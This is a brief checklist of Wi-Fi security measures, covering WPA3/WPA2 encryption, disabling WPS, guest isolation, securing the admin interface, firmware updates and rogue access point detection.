Authentication & Encryption:
  - Use WPA3 (or WPA2 minimum)
  - Strong passwords (12+ characters)
  - Enterprise authentication (802.1X)
  - Disable WPS completely
  - Regular password rotation

Access Control:
  - MAC address filtering (additional layer)
  - SSID hiding (security through obscurity)
  - Guest network isolation
  - Time-based access restrictions
  - Bandwidth limitations

Management Security:
  - Change default admin credentials
  - Disable remote management
  - Use HTTPS for web interface
  - Enable management VLAN
  - Firmware updates
  
RF Security:
  - Optimal power levels
  - Channel planning
  - Coverage area control
  - Rogue AP detection
  - RF monitoring
